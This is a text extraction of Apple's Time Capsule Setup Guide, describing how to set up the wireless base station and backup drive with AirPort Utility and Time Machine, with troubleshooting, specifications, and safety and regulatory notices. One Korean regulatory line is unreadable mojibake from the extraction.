used in the following countries: AT EE BG FI BE FR CY DE CZ GR DK HU IE IT LV LT LU MT NL PL PT RO SK SL ES SE GB IS LI NO CH Korea Warning Statements B૶ૺૺ(ਜ਼ႜဧ෮໽ቛཅૺၴႁ) ၦૺૺ௴ਜ਼ႜဧ(B૶) ႖ၴኒ႕ጁૺૺച໏჎ച ਜ਼ႜ࿝໏ຫဧዻ௴ઇၕඛ႕ၒചዻඑ, ක౷ხ ࿦࿝໏ຫဧዾ༘ၰཀఁఋ. ෮ቛ၁ધགྷ࿝ಋ൏ધხຫጃ ጄఙඳ໓໕๗௴ဪဧთ႖ኒጯཅਜ਼௻ໜၦၰၗ ၦૺૺ௴ၨ඗ྦ႖઴શഏౘ໏๗༺࿝ຫဧዾ༘࿖ཀఁఋ ఝዽූ૑ ૬ႜ ෟ ა༘ Singapore Wireless Certification41 Taiwan Wireless Statements Taiwan Class B Statement 警告 本電池如果更換不正確會有爆炸的危險 請依製造商說明書處理用過之電池 Japan VCCI Class B Statement Russia Disposal and Recycling Information This symbol indicates that your product must be disposed of properly according to local laws and regulations.When your product reaches its end of life, contact Apple or your local authorities to learn about recycling options. For information about Apple’s recycling program, go to www.apple.com/recycling. European Union — Disposal Information This symbol means that according to local laws and regulations your product should be disposed of separately from household waste.When this product reaches its end of life, take it to a collection point designated by local authorities. Some collection points accept products for free. The separate collection and recycling of your product at the time of disposal will help conserve natural resources and ensure that it is recycled in a manner that protects human health and the environment. Türkiye EEE yönetmeliğine (Elektrikli ve Elektronik Eşyalarda Bazı Zararlı Maddelerin Kullanımının Sınırlandırılmasına Dair Yönetmelik) uygundur.42 Brasil—Informações sobre descarte e reciclagem O símbolo acima indica que este produto e/ou sua bateria não devem ser descartadas no lixo doméstico. Quando decidir descartar este produto e/ou sua bateria, faça-o de acordo com as leis e diretrizes ambientais locais. Para informações sobre o programa de reciclagem da Apple, pontos de coleta e telefone de informações, visite www.apple.com/br/environment Battery Disposal Information Dispose of batteries according to your local environmental laws and guidelines. Deutschland: Dieses Gerät enthält Batterien. Bitte nicht in den Hausmüll werfen. Entsorgen Sie dieses Gerät am Ende seines Lebenszyklus entsprechend der maßgeblichen gesetzlichen Regelungen. Nederlands:  Gebruikte batterijen kunnen worden ingeleverd bij de chemokar of in een speciale batterijcontainer voor klein chemisch afval (kca) worden gedeponeerd. China Battery Statement Taiwan Battery Statementwww.apple.com/airport www.apple.com/support/airport © 2011 Apple Inc. All rights reserved. Apple, the Apple logo, AirPort, AirPort Express, AirPort Extreme, Apple TV, Bonjour, Finder, iPhone, iPod touch, Leopard, Mac, Mac OS, Time Capsule, and Time Machine are trademarks of Apple Inc., registered in the U.S. and other countries. iPad is a trademark of Apple Inc. Other product and company names mentioned herein may be trademarks of their respective companies. 034-5910-A Printed in XXXX Time Capsule Setup Guide3 Contents 5 Chapter 1: Getting Started 7 About Your Time Capsule 8 About the AirPort Software 9 What You Need to Get Started 11 The Time Capsule Status Light 13 Chapter 2: Setting Up Your Time Capsule 14 Using Your Time Capsule to Create Your Wireless Network 17 Using AirPort Utility 19 Creating a New Wireless Network 19 Configuring and Sharing Internet Access 21 Setting Advanced Options 22 Allowing Wireless Clients to Access Your Network Without Entering a Password 23 Using Time Machine with Your Time Capsule 25 Chapter 3: Tips and Troubleshooting 25 If You Can’t Connect to the Internet 25 If You Forgot Your Network Password or Time Capsule Password 26 If Your Time Capsule Isn’t Responding 27 If Your Time Capsule Status Light Flashes Amber4 Contents 28 If Your Printer Isn’t Responding 29 Updating AirPort Software 29 Time Capsule Placement Considerations 30 Items That Can Cause Interference with AirPort 31 Chapter 4: Learning More, Service, and Support 33 Appendix: Time Capsule Specifications and Safety Guidelines 36 Regulatory Compliance Information1 5 1 Getting Started Congratulations on purchasing your Time Capsule. Read this guide to get started. The new Time Capsule offers you the simplicity of fully automated backup for your Wi-Fi network. Using the Time Machine application in Mac OS X v10.5.2 Leopard or later, it’s easy and automatic to back up all the computers on your network to a single Time Capsule. The Time Capsule is also a fully featured AirPort Extreme Base Station that provides simultaneous dual-band wireless networking. When you set up your Time Capsule, it creates two high-speed Wi-Fi networks:  A 2.4 gigahertz (GHz) network for 802.11b, 802.11g, and 802.11n devices, such as iPhone, iPod touch, and older computers  A 5 GHz network for 802.11n and 802.11a devices, such as newer computers and Apple TV Wireless devices join the network that provides them the best performance and compatibility, and the Time Capsule shares your broadband Internet connection with computers and devices on your network.6 Chapter 1 Getting Started With your Time Capsule, you can:  Use the Time Machine application in Mac OS X v10.5.2 (or later) to back up all the computers on your wireless network, as well as computers connected to your Time Capsule using Ethernet. Note: Your first backup with Time Capsule and Time Machine could take overnight or longer, depending on how much data you’re backing up. To speed up the initial backup, use an Ethernet cable to connect your computer to the LAN port on your Time Capsule. For more information about using Time Machine, see “Using Time Machine with Your Time Capsule” on page 23.  Create a password-protected wireless home network, and then connect to the Internet and share the connection with other computers and Wi-Fi devices, such as iPhone, iPod touch, and Apple TV. You can also share files among computers connected to the network.  Create a guest network with or without password protection, to provide Internetonly access to wireless devices, such as computers, iPhone, iPod touch, and Apple TV.  Connect your Time Capsule to your Ethernet network. Wireless-equipped Macintosh, Windows XP, or Windows Vista computers can then have access to an entire network without being connected by a cable.  Connect a supported USB printer to your Time Capsule. Compatible computers on the AirPort network, both wireless and wired, can print to it.  Connect an additional USB hard drive to your Time Capsule. Compatible computers on the AirPort network, both wireless and wired, can access information on the hard disk.Chapter 1 Getting Started 7  Connect a USB hub to your Time Capsule, and then connect multiple USB devices, such as printers or hard disks. All computers on the network have access to those devices. Important: Install AirPort Utility 5.4 from the CD that came with your Time Capsule, or download it using Software Update. Previous versions of AirPort Setup Assistant and AirPort Admin Utility are not compatible with this Time Capsule. About Your Time Capsule Your Time Capsule has five ports on the back:  One 10/100/1000Base-T Gigabit Ethernet Wide Area Network (WAN) port for connecting a DSL or cable modem, or for connecting to an existing Ethernet network  Three 10/100/1000Base-T Gigabit Ethernet Local Area Network (LAN) ports for connecting Ethernet devices, such as printers or computers, or for connecting to an existing Ethernet network 8 Chapter 1 Getting Started  One USB port for connecting a compatible USB printer, hard drive, or hub for connecting several devices The reset button next to the ports is used for troubleshooting your Time Capsule. The status light on the front shows the current status. About the AirPort Software Your Time Capsule works with AirPort Utility, included on the Time Capsule CD. Install AirPort Utility and follow the instructions on the following pages to set up your Time Capsule and your AirPort wireless network. Status light Internet WAN port Power port Power cord USB port Reset button Ethernet ports Security slot Ethernet activity lightChapter 1 Getting Started 9 Note: You must use AirPort Utility v5.4 to set up your Time Capsule. This Time Capsule is not compatible with previous versions of AirPort software. What You Need to Get Started To use your Time Capsule, you need a wireless-enabled computer that’s compliant with IEEE 802.11a, 802.11b, or 802.11g standards, or with an IEEE 802.11n draft specification. To set up your Time Capsule, your computer must meet the requirements listed below. Note: To use your Time Capsule with Time Machine in Mac OS X Leopard, you need to use Mac OS X v10.5.2 or later. To set up your Time Capsule using a Macintosh, you need the following:  A Macintosh computer with an AirPort or AirPort Extreme Card installed to set it up wirelessly, or a Macintosh computer connected to your Time Capsule with an Ethernet cable to set it up using Ethernet AirPort Utility Use AirPort Utility to set up your Time Capsule to create a wireless network, connect to the Internet, and share compatible USB printers and hard disks. You can also connect your Time Capsule to an existing AirPort Extreme wireless network. AirPort Utility is also an advanced tool for setting up and managing the Time Capsule, AirPort Extreme, and AirPort Express Base Stations. Use it to manually adjust network, routing, and security settings and other advanced options. Z AirPort status menu Use the AirPort status menu in the menu bar to switch quickly between AirPort networks, monitor the signal quality of the current network, create a computer-tocomputer network, and turn AirPort on or off. The status menu is available on computers using Mac OS X. 10 Chapter 1 Getting Started  Mac OS X v10.4 or later  AirPort Utility v5.4 or later To set up your Time Capsule using a Windows PC, you need the following:  A Windows PC with 300 MHz or higher processor speed and a compatible 802.11a, 802.11b, or 802.11g wireless card, or a wireless card that complies with an IEEE 802.11n draft specification  Windows XP Home or Professional (with Service Pack 2 installed) or Windows Vista  AirPort Utility v5.4 or later Plugging In Your Time Capsule Before you plug in your Time Capsule, first connect the appropriate cables to the ports you want to use:  Connect the Ethernet cable that’s connected to your DSL or cable modem (if you will connect to the Internet) to the Ethernet WAN (<) port.  Connect a USB cable connected from the USB (d) port on your Time Capsule to a compatible USB printer (if you will print to a USB printer), a hard disk, or a hub.  Connect an Ethernet cable from any Ethernet device to the Ethernet LAN (G) ports. After you’ve connected the cables for all the devices you plan to use, connect the power cord to the power port and plug your Time Capsule into a power outlet. There is no power switch. Important: Use only the power cord that came with your Time Capsule.Chapter 1 Getting Started 11 When you plug your Time Capsule into a power outlet, the status light flashes green for one second and then glows amber while your Time Capsule starts up. After your Time Capsule has started up completely, the status light flashes amber until your Time Capsule has been updated with the correct settings. The status light glows solid green after your Time Capsule is properly set up and connected to the Internet or a network. When you connect Ethernet cables to the Ethernet ports, the lights above them glow solid green. The Time Capsule Status Light The following table explains the Time Capsule light sequences and what they indicate. Light Status/description Off Your Time Capsule is unplugged. Solid amber Your Time Capsule is completing its startup sequence. Flashing amber Your Time Capsule can’t establish a connection to the network or the Internet, or is encountering a problem. Make sure you have installed AirPort Utility and use it to get information about what might cause the status light to flash amber. See “If Your Time Capsule Status Light Flashes Amber” on page 27. Solid green Your Time Capsule is on and working properly. If you choose Flash On Activity from the Status Light pop-up menu (in the Base Station pane of AirPort settings in AirPort Utility), the status light may flash green to indicate normal activity. Flashing amber and green There may be a problem starting up. Your Time Capsule will restart and try again.12 Chapter 1 Getting Started What’s Next After you plug in your Time Capsule, use AirPort Utility to set it up to work with your Internet connection, USB printer or hard disk, or an existing network. AirPort Utility is located in the Utilities folder in the Applications folder on a computer using Mac OS X, and in Start > All Programs > AirPort on a computer using Windows XP or Windows Vista. Solid blue Your Time Capsule is ready to allow a wireless client access to the network. See “Allowing Wireless Clients to Access Your Network Without Entering a Password” on page 22. Light Status/description2 13 2 Setting Up Your Time Capsule This chapter provides information and instructions for connecting your Time Capsule to the Internet, and using AirPort Utility to set it up to create or join a wireless network. This chapter provides an overview of connecting your Time Capsule to the Internet, and using the setup assistant in AirPort Utility to set up your network and other features of your Time Capsule. For more information about wireless networking, and for information about the advanced features of AirPort Utility, refer to “Designing AirPort Networks Using AirPort Utility (Mac OS X v10.5 + Windows)” at www.apple.com/support/airport. After you install AirPort Utility from the CD that came with your Time Capsule, you can do most of your network setup and configuration tasks using the setup assistant in AirPort Utility. To set advanced options, choose Manual Setup from the Base Station menu of AirPort Utility. See “Setting Advanced Options” on page 21.14 Chapter 2 Setting Up Your Time Capsule Using Your Time Capsule to Create Your Wireless Network When you set up your Time Capsule to provide network and Internet access, the following computers and devices can access the wireless AirPort network to share files, play games, and use Internet applications such as web browsers and email applications:  Macintosh computers with AirPort or AirPort Extreme Cards  802.11a, 802.11b, 802.11g, and IEEE 802.11n draft specification wireless-equipped computers  Other Wi-Fi devices Computers connected to your Time Capsule using Ethernet can also access the network to share files and connect to the Internet. With Mac OS X v10.5.2 or later you can set up Time Machine to back up all the computers on the network to your Time Capsule. See “Using Time Machine with Your Time Capsule” on page 23 for more information. When you connect a compatible USB printer to your Time Capsule, supported computers on the network (wired and wireless) can print to it.Chapter 2 Setting Up Your Time Capsule 15 Using Time Capsule to create a wireless network To set it up: 1 Connect your DSL or cable modem to your Time Capsule using the Ethernet WAN (<) port. to Internet DSL or cable modem < Internet WAN port Shared printer Time Capsule to USB ports 2.4 or 5 GHz 2.4 GHz 2.4 or 5 GHz16 Chapter 2 Setting Up Your Time Capsule 2 If you plan to share a USB printer on the network, connect it to the Time Capsule USB (d) port or to a USB hub, using a USB cable. 3 Open AirPort Utility (located in the Utilities folder in the Applications folder on a computer using Mac OS X, and in Start > All Programs > AirPort on a computer using Windows), select your Time Capsule, and then click Continue. 4 Follow the onscreen instructions to create a new network. To print from a computer using Mac OS X v10.5: 1 Choose Apple > System Preferences, and then click Print & Fax. 2 Click Add (+) and select your printer from the list. 3 Click the Add button. If your printer isn’t in the list, use the buttons in the toolbar to search for it. To print from a computer using Mac OS X v10.3 or 10.4: 1 Open Printer Setup Utility (located in the Utilities folder in the Applications folder). 2 Select the printer from the list. If the printer isn’t in the list, click Add and choose Bonjour from the pop-up menu, and then select the printer from the list. To print from a computer using Windows XP or Windows Vista: 1 Install Bonjour for Windows from the CD that came with your Time Capsule. 2 Follow the onscreen instructions to connect to your printer. Computers using AirPort or other compatible wireless cards or adapters can connect to the Internet through your Time Capsule. Computers connected to the Time Capsule Ethernet ports can also access the network and connect to the Internet.Chapter 2 Setting Up Your Time Capsule 17 Wireless computers and computers connected to the Ethernet ports can also communicate with each other through your Time Capsule. Using AirPort Utility To set up and configure your Time Capsule, use the setup assistant in AirPort Utility. AirPort Utility is installed on your computer when you install the software from the Time Capsule CD. On a Macintosh computer using Mac OS X v10.4 or later: 1 Open AirPort Utility, located in the Utilities folder in the Applications folder. 2 Select your Time Capsule and click Continue. If you don’t see the Time Capsule you want to configure, click Rescan to scan for available wireless devices, and then select your Time Capsule from the list. 3 Follow the onscreen instructions to set up your Time Capsule and your wireless network. On a computer using Windows XP (with Service Pack 2) or Windows Vista: 1 Open AirPort Utility, located in Start > All Programs > AirPort. 2 Select your Time Capsule and click Continue.18 Chapter 2 Setting Up Your Time Capsule 3 Follow the onscreen instructions to set up your Time Capsule and your wireless network. The AirPort Utility setup assistant asks you questions about the type of network you want to use and the services you want to set up, and helps you enter the appropriate settings. If you’re using your Time Capsule to connect to the Internet, you need a broadband (DSL or cable modem) account with an Internet service provider (ISP), or a connection to the Internet using an existing Ethernet network. If you received specific information from your ISP (such as a static IP address or a DHCP client ID), you may need to enter it in AirPort Utility. Have this information available when you set up your Time Capsule.Chapter 2 Setting Up Your Time Capsule 19 Creating a New Wireless Network You can use the AirPort Utility setup assistant to create a new wireless network. The setup assistant guides you through the steps necessary to name your network, protect your network with a password, and set other options. If you plan to share a USB printer or USB hard disk on your network: 1 Connect the printer or hard disk to the Time Capsule USB (d) port. 2 Open AirPort Utility, located in the Utilities folder in the Applications folder on a Macintosh, or in Start > All Programs > AirPort on a computer using Windows XP. 3 Select your Time Capsule and click Continue. If you don’t see the Time Capsule you want to configure, click Rescan to scan for available wireless devices, and then select your Time Capsule from the list. 4 Follow the onscreen instructions to create a new network. Configuring and Sharing Internet Access If you plan to share your Internet connection with wireless-enabled computers on your network or with computers connected to the Ethernet ports, you need to set up your Time Capsule as an AirPort Base Station. After your Time Capsule is set up, computers access the Internet through the AirPort network. Your Time Capsule connects to the Internet and transmits information to the computers over the wireless network. Before you use AirPort Utility to set up your Time Capsule, connect your DSL or cable modem to the Time Capsule Ethernet WAN (<) port. If you’re connecting your Time Capsule to an Ethernet network that already has Internet access, connect it to the Ethernet network.20 Chapter 2 Setting Up Your Time Capsule Use the AirPort Utility setup assistant to enter your ISP settings and configure how your Time Capsule shares the settings with other computers. 1 Open AirPort Utility, located in the Utilities folder in the Applications folder on a computer using Mac OS X, or in Start > All Programs > AirPort on a computer using Windows XP. 2 Select your Time Capsule and click Continue. If you’re making changes to a Time Capsule that has already been set up, you might have to connect to the network it’s created before making changes to the Time Capsule. To choose the wireless network you want to change on a Macintosh, use the AirPort status menu in the menu bar. On a computer using Windows XP, hold the pointer over the wireless connection icon until you see the network name (SSID), and then choose it from the list if there are multiple networks available. 3 Follow the onscreen instructions to configure and share Internet access on your Time Capsule. AirPort Utility provides a quick and easy way to set up your Time Capsule and network. If you want to set additional options for your network, such as restricting access to your network or setting advanced DHCP options, choose Manual Setup from the Base Station menu of AirPort Utility. Chapter 2 Setting Up Your Time Capsule 21 Setting Advanced Options Use AirPort Utility to set up your Time Capsule manually if you want to set advanced Time Capsule options such as advanced security options, closed networks, DHCP lease time, access control, power controls, user accounts, and more. To set advanced options: 1 Open AirPort Utility, located in the Utilities folder in the Applications folder on a Macintosh, and in Start > All Programs > AirPort on a computer using Windows XP. 2 If there’s more than one wireless device in the list, select the one you want to configure. If you don’t see the Time Capsule you want to configure, click Rescan to scan for available wireless devices, and then select your Time Capsule from the list. If you’re making changes to a Time Capsule that has already been set up, you might have to connect to the network it’s created before making changes to your Time Capsule. To choose the wireless network you want to change, on a Macintosh use the AirPort status menu in the menu bar. On a computer using Windows XP, hold the pointer over the wireless connection icon until you see the network name (SSID), and then choose it from the list if there are multiple networks available. 3 Choose Manual Setup from the Base Station menu. If you’re prompted for a password, enter it. For more about the manual setup features in AirPort Utility, see “Designing AirPort Networks Using AirPort Utility (Mac OS X v10.5 + Windows)” at www.apple.com/ support/airport.22 Chapter 2 Setting Up Your Time Capsule Allowing Wireless Clients to Access Your Network Without Entering a Password If your network is password-protected using WPA Personal or WPA/WPA2 Personal, you can provide wireless clients access to your network without requiring them to enter the network password. When you allow a client access to your network, the client’s name and wireless MAC address (or AirPort ID) are stored in the access control list of AirPort Utility until you remove the client from the list. You can also provide 24 hours of access, after which time the client will no longer be able to access your network. When you give a client access to your wireless network, the client doesn’t need to enter the network password. To allow a client to access your network without entering the network password: 1 Open AirPort Utility, select your Time Capsule, and then choose Manual Setup from the Base Station menu. Enter the password if necessary. 2 Choose Add Wireless Clients from the Base Station menu. 3 Select how you want the client to access the network:  Select PIN to enter the eight-digit number provided by the client requesting network access.  Select “First attempt” to allow network access to the first client attempting to join the network. While the Time Capsule waits for a client to join the network, the LED glows blue.Chapter 2 Setting Up Your Time Capsule 23 Select “Limit client’s access to 24 hours” if you want to provide just one day of access to your network. If you don’t select this option, the client will have access until you remove the client from the list. Using Time Machine with Your Time Capsule With the Time Machine application in Mac OS X Leopard you can back up everything on your computer, including your photos, music, movies, and documents. After you set up Time Machine, it automatically backs up your computer on a regular basis. If you’re using Mac OS X v10.5.2 or later, the first time you connect to your Time Capsule, Time Machine asks if you’d like to use it to back up your files. Click “Use as Backup Disk,” and Time Machine takes care of the rest. Use the Time Machine pane of System Preferences in Mac OS X Leopard to set up automatic backups, change to a different backup disk, or adjust other settings. To set up or adjust Time Machine on a computer using Mac OS X Leopard: 1 Choose Apple > System Preferences, and then click Time Machine. 2 Slide the switch to ON. 3 Click Change Disk. 4 Choose your Time Capsule and click “Use for Backup.”24 Chapter 2 Setting Up Your Time Capsule Your first backup with Time Capsule and Time Machine could take overnight or longer, depending on how much data you’re backing up. To speed up the initial backup, connect your Time Capsule to your computer using Ethernet. In each subsequent backup, Time Machine backs up only files that have changed since the previous backup, so the backups don’t take as long. Time Capsule is a great wireless backup solution for portable computers. Since the first backup can take some time, plug your portable into a power adapter—this conserves battery power and guarantees that backups won’t be interrupted. Also, for the best wireless performance, place your portable computer in the same room as your Time Capsule. If you shut down your Mac or put it to sleep during a backup, Time Machine stops the backup and then continues from where it left off after your Mac starts up again. For more information about Time Machine, choose Help > Mac Help from the Finder menu on a computer using Mac OS X Leopard, and then type Time Machine in the search field.3 25 3 Tips and Troubleshooting You can quickly solve most problems with your Time Capsule by following the advice in this chapter. If You Can’t Connect to the Internet  Try connecting to the Internet directly from your computer. If you can’t connect, check to make sure your network settings are correct. If they appear to be correct and you still can’t connect, contact your Internet service provider (ISP).  Make sure you’re connecting to the correct wireless network. If You Forgot Your Network Password or Time Capsule Password You can clear the AirPort network password or Time Capsule password by resetting your Time Capsule. To reset the Time Capsule password: 1 Use something pointed (such as a ballpoint pen) to press and hold down the reset button for one second. Important: If you hold the reset button for more than one second, you may lose your network settings.26 Chapter 3 Tips and Troubleshooting 2 Select your AirPort network.  On a Macintosh, use the AirPort status menu in the menu bar to select the network created by your Time Capsule (the network name doesn’t change).  On a computer using Windows XP, hold the pointer over the wireless connection icon until you see your AirPort network name (SSID), and choose it from the list if there are multiple networks available. 3 Open AirPort Utility (in the Utilities folder in the Applications folder on a Macintosh, and in Start > All Programs > AirPort on a computer using Windows XP). 4 Select your Time Capsule, and then choose Manual Setup from the Base Station menu. 5 Click AirPort in the toolbar, and then click Base Station. 6 Enter a new password for your Time Capsule. 7 Click Wireless and choose an encryption method from the Wireless Security pop-up menu to turn on encryption and activate password protection for your AirPort network. If you turn on encryption, enter a new password for your AirPort network. 8 Click Update to restart your Time Capsule and load the new settings. If Your Time Capsule Isn’t Responding Try unplugging it and plugging it back in. If your Time Capsule stops responding completely, you may need to reset it to the factory default settings. Important: Resetting your Time Capsule to factory default settings erases all of the current settings and resets them to the settings that came with your Time Capsule.Chapter 3 Tips and Troubleshooting 27 To return your Time Capsule to the factory settings: m Use something pointed (such as a ballpoint pen) to press down and hold the reset button until the status light flashes quickly (about 5 seconds). Your Time Capsule resets with the following settings:  Your Time Capsule receives its IP address using DHCP.  The network name is reset to Apple Network XXXXXX (where XXXXXX is replaced with the last six digits of the AirPort ID).  The Time Capsule password is reset to public. If your Time Capsule still isn’t responding, try the following: 1 Unplug your Time Capsule. 2 Use something pointed to press and hold down the reset button while you plug in your Time Capsule. If Your Time Capsule Status Light Flashes Amber The Ethernet cable may not be connected properly, your Time Capsule may be out of range of an AirPort network, or there may be a problem with your Internet service provider. If you’re connected to the Internet with a DSL or cable modem, the modem may have lost its connection to the network or the Internet. Even if the modem seems to be working properly, try disconnecting it from its power supply, waiting a few seconds, and then reconnecting it. Make sure your Time Capsule is connected directly to the modem via Ethernet before reconnecting power to the modem.28 Chapter 3 Tips and Troubleshooting For more information about why the light is flashing, open AirPort Utility, select your Time Capsule, and then choose Manual Setup from the Base Station menu. Click Base Station Status to display information about the flashing light. You can also select “Monitor base station for problems” in AirPort preferences. If the base station has a problem, AirPort Utility opens and walks you through solving the problem. If Your Printer Isn’t Responding If you connected a printer to the USB port on your Time Capsule and the computers on the AirPort network can’t print, try the following: 1 Make sure the printer is plugged in and turned on. 2 Make sure the cables are securely connected to the printer and to the Time Capsule USB port. 3 Make sure the printer is selected in the Printer List window on client computers. On a Macintosh using Mac OS X v10.5 or later:  Choose Apple > System Preferences, and then click Print & Fax.  Click Add (+) and select your printer in the list, and then click Add (+). On a Macintosh using Mac OS X v10.2.7 or later:  Open Printer Setup Utility, located in the Utilities folder in the Applications folder.  If the printer isn’t in the list, click Add.  Choose Bonjour from the pop-up menu, select the printer and click Add (+).Chapter 3 Tips and Troubleshooting 29 On a computer using Windows XP:  Open “Printers and Faxes” from the Start menu.  Select the printer. If the printer isn’t in the list, click Add Printer and then follow the onscreen instructions. 4 Turn off the printer, wait a few seconds, and then turn it back on. Updating AirPort Software Apple periodically updates AirPort software. It is recommended that you update your Time Capsule to use the latest software. You can select “Check for updates when opening AirPort Utility,” or “Check for updates” in AirPort preferences. If you select “Check for updates,” choose an increment of time, such as weekly, from the pop-up menu to automatically check for updates. Time Capsule Placement Considerations The following recommendations can help your Time Capsule achieve the best wireless range and network coverage.  Place your Time Capsule in an open area where there are few obstructions, such as large pieces of furniture or walls. Try to place it away from metallic surfaces.  If you place your Time Capsule behind furniture, keep at least an inch of space between the Time Capsule and the edge of the furniture.  Avoid placing your Time Capsule in areas surrounded by metal surfaces on three or more sides. 30 Chapter 3 Tips and Troubleshooting  If you place your Time Capsule in an entertainment center with your stereo equipment, avoid surrounding your Time Capsule with audio, video, or power cables. Place your Time Capsule so that the cables are to one side. Maintain as much space as possible between your Time Capsule and the cables.  Try to place your Time Capsule at least 25 feet (7.6 meters) from any microwave oven, 2.4 or 5 gigahertz (GHz) cordless phone, and other sources of interference.  Do not place other objects (books, papers, small pets, etc.) on top of the Time Capsule. It may interfere with Time Capsule cooling. Items That Can Cause Interference with AirPort The farther away the interference source, the less likely it is to cause a problem. The following can interfere with AirPort communication:  Microwave ovens  Direct Satellite Service (DSS) radio frequency leakage  The original coaxial cable that came with certain types of satellite dishes. Contact the device manufacturer and obtain newer cables.  Certain electrical devices such as power lines, electrical railroad tracks, and power stations  Cordless telephones that operate in the 2.4 or 5 GHz range. If you have problems with your phone or AirPort communication, change the channel your base station or Time Capsule uses, or change the channel your phone uses.  Nearby base stations using adjacent channels. For example, if base station A is set to channel 1, base station B should be set to channel 6 or 11.4 31 4 Learning More, Service, and Support You can find more information about using your Time Capsule on the web and in onscreen help. Online Resources For the latest information about the Time Capsule, go to www.apple.com/airport. To register your Time Capsule (if you didn’t do it when you installed the software on the Time Capsule CD), go to www.apple.com/register. For AirPort support information, forums with product-specific information and feedback, and the latest Apple software downloads, go to www.apple.com/support/ airport. For support outside of the United States, go to www.apple.com/support, and then choose your country.32 Chapter 4 Learning More, Service, and Support Onscreen Help To learn more about using AirPort Utility with your Time Capsule, open AirPort Utility and choose Help > AirPort Utility Help. Obtaining Warranty Service If your Time Capsule appears to be damaged or doesn’t function properly, please follow the advice in this booklet, the onscreen help, and the online resources. If your Time Capsule still doesn’t function, go to www.apple.com/support for information about getting warranty service. Finding the Serial Number of Your Time Capsule The serial number is printed on the bottom of your Time Capsule.33 Appendix Time Capsule Specifications and Safety Guidelines Time Capsule Specifications  Frequency Band: 2.4 and 5 GHz  Radio Output Power: Up to 23 dBm (nominal)  Standards: 802.11 DSSS 1 and 2 Mbps standard, 802.11a, 802.11b, 802.11g specifications, and a draft 802.11n specification Interfaces  1 RJ-45 10/100/1000Base-T Gigabit Ethernet WAN (<)  3 RJ-45 10/100/1000Base-T Gigabit Ethernet LAN (G)  Universal Serial Bus (USB d) 2.0  802.11 a/b/g/n AirPort Extreme wireless Environmental Specifications  Operating Temperature: 32° F to 95° F (0° C to 35° C)  Storage Temperature: –13° F to 140° F (–25° C to 60° C)  Relative Humidity (Operational): 20% to 80% relative humidity  Relative Humidity (Storage): 10% to 90% relative humidity, noncondensing34 Appendix Time Capsule Specifications and Safety Guidelines Size and Weight  Length: 7.75 inches (197.0 mm)  Width: 7.75 inches (197.0 mm)  Height: 1.43 inches (36.33 mm)  Weight: 3.5 pounds (1.6 kilograms) Hardware Media Access Control (MAC) Addresses The Time Capsule has three hardware addresses printed on the bottom of the case:  AirPort ID: The two addresses used to identify the Time Capsule on a wireless network.  Ethernet ID: You may need to provide this address to your ISP to connect your Time Capsule to the Internet. Using Your Time Capsule Safely  The only way to shut off power completely to your Time Capsule is to disconnect it from the power source.  When connecting or disconnecting your Time Capsule, always hold the plug by its sides. Keep fingers away from the metal part of the plug.  Your Time Capsule should not be opened for any reason, even when it’s unplugged. If your Time Capsule needs service, see “Learning More, Service, and Support” on page 31.  Never force a connector into a port. If the connector and port don’t join with reasonable ease, they probably don’t match. Make sure that the connector matches the port and that you’ve positioned the connector correctly in relation to the port.Appendix Time Capsule Specifications and Safety Guidelines 35 About Operating and Storage Temperatures  When you’re using your Time Capsule, it is normal for the case to get warm. The Time Capsule case functions as a cooling surface that transfers heat from inside the unit to the cooler air outside. Avoid Wet Locations  Keep your Time Capsule away from sources of liquid, such as drinks, washbasins, bathtubs, shower stalls, and so on.  Protect your Time Capsule from direct sunlight and rain or other moisture.  Take care not to spill any food or liquid on your Time Capsule. If you do, unplug it before cleaning up the spill.  Do not use your Time Capsule outdoors. The Time Capsule is an indoor product. Do Not Make Repairs Yourself About Handling Your Time Capsule may be damaged by improper storage or handling. Be careful not to drop your Time Capsule when transporting it. WARNING: To reduce the chance of shock or injury, do not use your Time Capsule in or near water or wet locations. WARNING: Do not attempt to open your Time Capsule or disassemble it. You run the risk of electric shock and voiding the limited warranty. No user-serviceable parts are inside.36 Regulatory Compliance Information Wireless Radio Use This device is restricted to indoor use due to its operation in the 5.15 to 5.25 GHz frequency range to reduce the potential for harmful interference to cochannel Mobile Satellite systems. Cet appareil doit être utilisé à l’intérieur. Exposure to Radio Frequency Energy The radiated output power of this device is well below the FCC and EU radio frequency exposure limits. However, this device should be operated with a minimum distance of at least 20 cm between its antennas and a person’s body and the antennas used with this transmitter must not be colocated or operated in conjunction with any other antenna or transmitter subject to the conditions of the FCC Grant. FCC Declaration of Conformity This device complies with part 15 of the FCC rules. Operation is subject to the following two conditions: (1) This device may not cause harmful interference, and (2) this device must accept any interference received, including interference that may cause undesired operation. See instructions if interference to radio or television reception is suspected. Radio and Television Interference This computer equipment generates, uses, and can radiate radio-frequency energy. If it is not installed and used properly—that is, in strict accordance with Apple’s instructions—it may cause interference with radio and television reception. This equipment has been tested and found to comply with the limits for a Class B digital device in accordance with the specifications in Part 15 of FCC rules. These specifications are designed to provide reasonable protection against such interference in a residential installation. However, there is no guarantee that interference will not occur in a particular installation. You can determine whether your computer system is causing interference by turning it off. If the interference stops, it was probably caused by the computer or one of the peripheral devices. If your computer system does cause interference to radio or television reception, try to correct the interference by using one or more of the following measures:  Turn the television or radio antenna until the interference stops.  Move the computer to one side or the other of the television or radio.  Move the computer farther away from the television or radio.  Plug the computer into an outlet that is on a different circuit from the television or radio. (That is, make certain the computer and the television or radio are on circuits controlled by different circuit breakers or fuses.) If necessary, consult an Apple Authorized Service Provider or Apple. See the service and support information that came with your Apple product. Or, consult an experienced radio/television technician for additional suggestions. Important: Changes or modifications to this product not authorized by Apple Inc. could void the EMC compliance and negate your authority to operate the product.37 This product was tested for FCC compliance under conditions that included the use of Apple peripheral devices and Apple shielded cables and connectors between system components. It is important that you use Apple peripheral devices and shielded cables and connectors between system components to reduce the possibility of causing interference to radios, television sets, and other electronic devices. You can obtain Apple peripheral devices and the proper shielded cables and connectors through an Apple-authorized dealer. For non-Apple peripheral devices, contact the manufacturer or dealer for assistance. Responsible party (contact for FCC matters only) Apple Inc., Corporate Compliance, 1 Infinite Loop M/S 26-A, Cupertino, CA 95014-2084 Industry Canada Statement This Class B device meets all requirements of the Canadian interference-causing equipment regulations. Cet appareil numérique de la Class B respecte toutes les exigences du Règlement sur le matériel brouilleur du Canada. VCCI Class B Statement Europe—EU Declaration of Conformity For more information, see www.apple.com/euro/ compliance. European Union — Disposal Information This symbol means that according to local laws and regulations your product should be disposed of separately from household waste. When this product reaches its end of life, take it to a collection point designated by local authorities. Some collection points accept products for free. The separate collection and recycling of your product at the time of disposal will help conserve natural resources and ensure that it is recycled in a manner that protects human health and the environment. Disposal 